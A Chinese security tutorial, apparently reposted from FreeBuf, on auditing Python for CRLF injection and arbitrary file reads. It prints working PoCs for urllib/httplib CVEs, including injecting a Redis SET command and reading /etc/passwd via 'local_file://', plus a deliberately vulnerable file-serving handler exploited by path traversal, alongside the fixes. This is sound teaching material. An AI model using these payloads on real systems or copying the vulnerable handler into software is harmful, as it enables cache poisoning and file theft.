内容简介:Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成。目前Python代码审计思路,呈现分散和多样的趋势。Python微薄研发经验以及结合实际遇到的思路和技巧进行总结,以便于朋友们的学习和参考。CRLF的问题经常会出现在Python的模块之中,曾经有案例说明httplib模块、urllib模块等存在CRLF问题。问题来源于模块对于\x0d\x0a(\r\n)处理并不严格。如果该问题被有效利用,可能会导致 Memcached和Redis 等缓存应用出现问题,严重可获得shell。在
介绍
Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成。目前 Python 代码审计思路,呈现分散和多样的趋势。Python微薄研发经验以及结合实际遇到的思路和技巧进行总结,以便于朋友们的学习和参考。
CRLF和任意文件读取的审计实战
CRLF 审计实战
CRLF的问题经常会出现在Python的模块之中,曾经有案例说明httplib模块、urllib模块等存在CRLF问题。问题来源于模块对于\x0d\x0a(\r\n)处理并不严格。如果该问题被有效利用,可能会导致 Memcached 和 Redis 等缓存应用出现问题,严重可获得shell。在审计中多尝试插入\r\n,包括不同的位置,也许会有新的发现。
urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947)
这个问题关于urllib模块,被插入\r\n导致CRLF问题。另外,如果攻击者在攻击载荷之中加入缓存应用命令,可能导致严重的安全隐患。下面看下 POC 。
#!/usr/bin/env python3 import sys import urllib import urllib.error import urllib.request host = "10.251.0.83:6379?\r\nSET test success\r\n" url = "http://" + host + ":8080/test/?test=a" try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e)
POC 中使用了 sys、urllib、urllib.error、urllib.request 模块,测试目标的 IP 为 10.251.0.83 ,咱们在 host 之中插入 \r\n 和 redis 命令 “SET test success” ,目前为了实现 验证 CRLF 并且尝试污染 redis 缓存。在尝试执行此攻击后,检查redis服务器:
127.0.0.1:6379> GET test "success" 127.0.0.1:6379>
在 redis 服务器中可以看到缓存已经被污染,多了 test 属性值为 success 。
紧接着,咱们通过漏洞修补日志可得知对于URL上的内容进行了检查,如下所示。修复中使用了 re 模块利用正则的方式检查十六进制 \x00-\x20 和 \x7f 。若感兴趣,可访问下面的链接进一步查看详情。
# https://github.githistory.xyz/python/cpython/blob/96aeaec64738b730c719562125070a52ed570210/Lib/http/client.py _contains_disallowed_url_pchar_re = re.compile('[\x00-\x20\x7f]') # Arguably only these _should_ allowed: # _is_allowed_url_pchars_re = re.compile(r"^[/!$&'()*+,;=:@%a-zA-Z0-9._~-]+$") # We are more lenient for assumed real world compatibility purposes. # We always set the Content-Length header for these methods because some # servers will otherwise respond with a 411 _METHODS_EXPECTING_BODY = {'PATCH', 'POST', 'PUT'}
另外在urilib3中也存在同样问题,可见此种问题是模块的通病,测试和修复方法类似不再阐述。
import urllib3 pool_manager = urllib3.PoolManager() host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url = "https://" + host + ":8080/test/?test=a" try: info = pool_manager.request('GET', url).info() print(info) except Exception: pass # nc -l localhost 7777 GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: localhost:7777 Accept-Encoding: identity
httplib CRLF 漏洞
之后咱们看下httplib模块的问题。这个问题由 HACKERONE 的审核们确认,POC 如下所示。通过 POC 可以看到,先使用 LINUX 下的 nc 命令开启 7777 端口,然后编写脚本在 httplib.HTTPConnection 写入目标的 IP 和 端口,这里是 192.168.158.129 和 7777,使用 request 方法执行HTTP GET 请求,在请求参数之后插入 \r\n 和用于测试的字符串 TEST: 123 , nc 上收到请求报文,根据报文得出 httplib 的 request 方法存在 CRLF 问题。
# KALI LINUX 命令行1 :nc -l -p 7777 # root@柠檬菠萝:~# nc -l -p 7777 # GET a=1HTTP/1.1 # X-injected: header # TEST: 123 HTTP/1.1 # Host: 192.168.158.129:7777 # Accept-Encoding: identity # KALI LINUX 命令行2: import httplib conn = httplib.HTTPConnection("192.168.158.129:7777") conn.request("GET", "a=1HTTP/1.1\r\nX-injected: header\r\nTEST: 123") r1 = conn.getresponse() print (r1.status, r1.reason)
任意文件读取的审计实战
在Python urllib 模块中有所体现,专注于HTTP请求响应的模块,因为缓解SSRF和任意文件读取故不支持file协议。另外还有部分业务下载文件,在使用 open 方法解决时就有可能存在任意文件读取漏洞。下面来看案例。
urllib local_file协议绕过导致任意文件读取漏洞(CVE-2019-9948)
模块为了缓解漏洞影响,将 file:// 加入黑名单。咱们在进行测试时候 “urllib.urlopen(‘file:///etc/passwd’)” 会被模块中的黑名单匹配到 file 从而被禁止。但是由于在linux中支持 local_file:// 读取文件,所以导致了绕过问题。下面为 POC 。
import urllib print urllib.urlopen('local_file:///etc/passwd').read()[:30]
POC 向咱们展示在 urllib.urlopen 方法中执行 “local_file”, read() 为获取文本信息,[:30] 为对于获取到的文本信息进行分片。
在模块中很难识别哪些允许访问,禁用协议是很棒的好方法,简单有效。实际也是如此修补的,urltype 之中是 local_file 协议的特征,在第203行被拼接为 open_local_file 字符串,它在第208行被if 语句进行检测和禁止。
任意文件读取实例
咱们自己编写简单案例,使用 urllib、SocketServer、SimpleHTTPRequestHandler模块,在Python2的环境下搭建简单的HTTP服务器,在do_GET方法中,咱们通过urllib.splitquery(self.path)获取到参数并给他赋值到uri_c,再使用open()打开uri_c中的内容,从而产生任意文件读取漏洞。实例代码如下。
import urllib import SocketServer from SimpleHTTPServer import SimpleHTTPRequestHandler class MyHandler(SimpleHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): print("got get request %s" % (self.path)) hql = urllib.splitquery(self.path)[1] uri_c = str(hql) print('cmd===%s' % (uri_c)) file = open(uri_c) self.wfile.write(file.read()) file.close() def start_server(): httpd = SocketServer.TCPServer(("127.0.0.1", 8090), MyHandler) print('Starting httpd...') httpd.serve_forever() if __name__ == "__main__": start_server()
咱们在启动服务之后根据脚本中定义 127.0.0.1:8090 访问。在参数部分尝试任意文件读取,即可读取到目标文件内容。在这里尝试读取Windows\win.ini,使用“ http://127.0.0.1:8090/?../../../../Windows \win.ini”进行攻击,返回结果如下。
# URL : http://127.0.0.1:8090/?../../../../Windows\win.ini ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1
总结
文中分享CRLF和任意文件读取的实战案例。案例大多数来源于收集,少部分为个人挖掘。分享的案例帮助咱们较为深入了解,如何发现和挖掘CRLF问题,同时也有相关的修复案例。CRLF 使用的过滤 [\x00-\x20\x7f] 进行防御,任意文件读取使用的限制文件读取协议来进行缓解,也可采用限制文件访问路径来达到防御。
*本文原创作者:米怀特,本文属于FreeBuf原创奖励计划,未经许可禁止转载
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- PHP代码审计实战思路浅析
- PHP代码审计之入门实战
- Python代码审计实战案例总结之反序列化和命令执行
- 代码审计--源代码审计思路
- Java代码审计丨某开源系统源码审计
- 【代码审计】PHP代码审计之CTF系列(1)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
写给Web开发人员看的HTML5教程
2012-3 / 45.00元
《写给Web开发人员看的HTML5教程》通过结合大量实际案例和源代码对HTML5的重要特性进行了详细讲解,内容全面丰富,易于理解。全书共分为12章,从HTML5的历史故事讲起,涉及了文档结构和语义、智能表单、视频与音频、画布、SVG与MathML、地理定位、Web存储与离线Web应用程序、WebSockets套接字、WebWorker多线程、微数据以及以拖曳为代表的一些全局属性,涵盖了HTML5所......一起来看看 《写给Web开发人员看的HTML5教程》 这本书的介绍吧!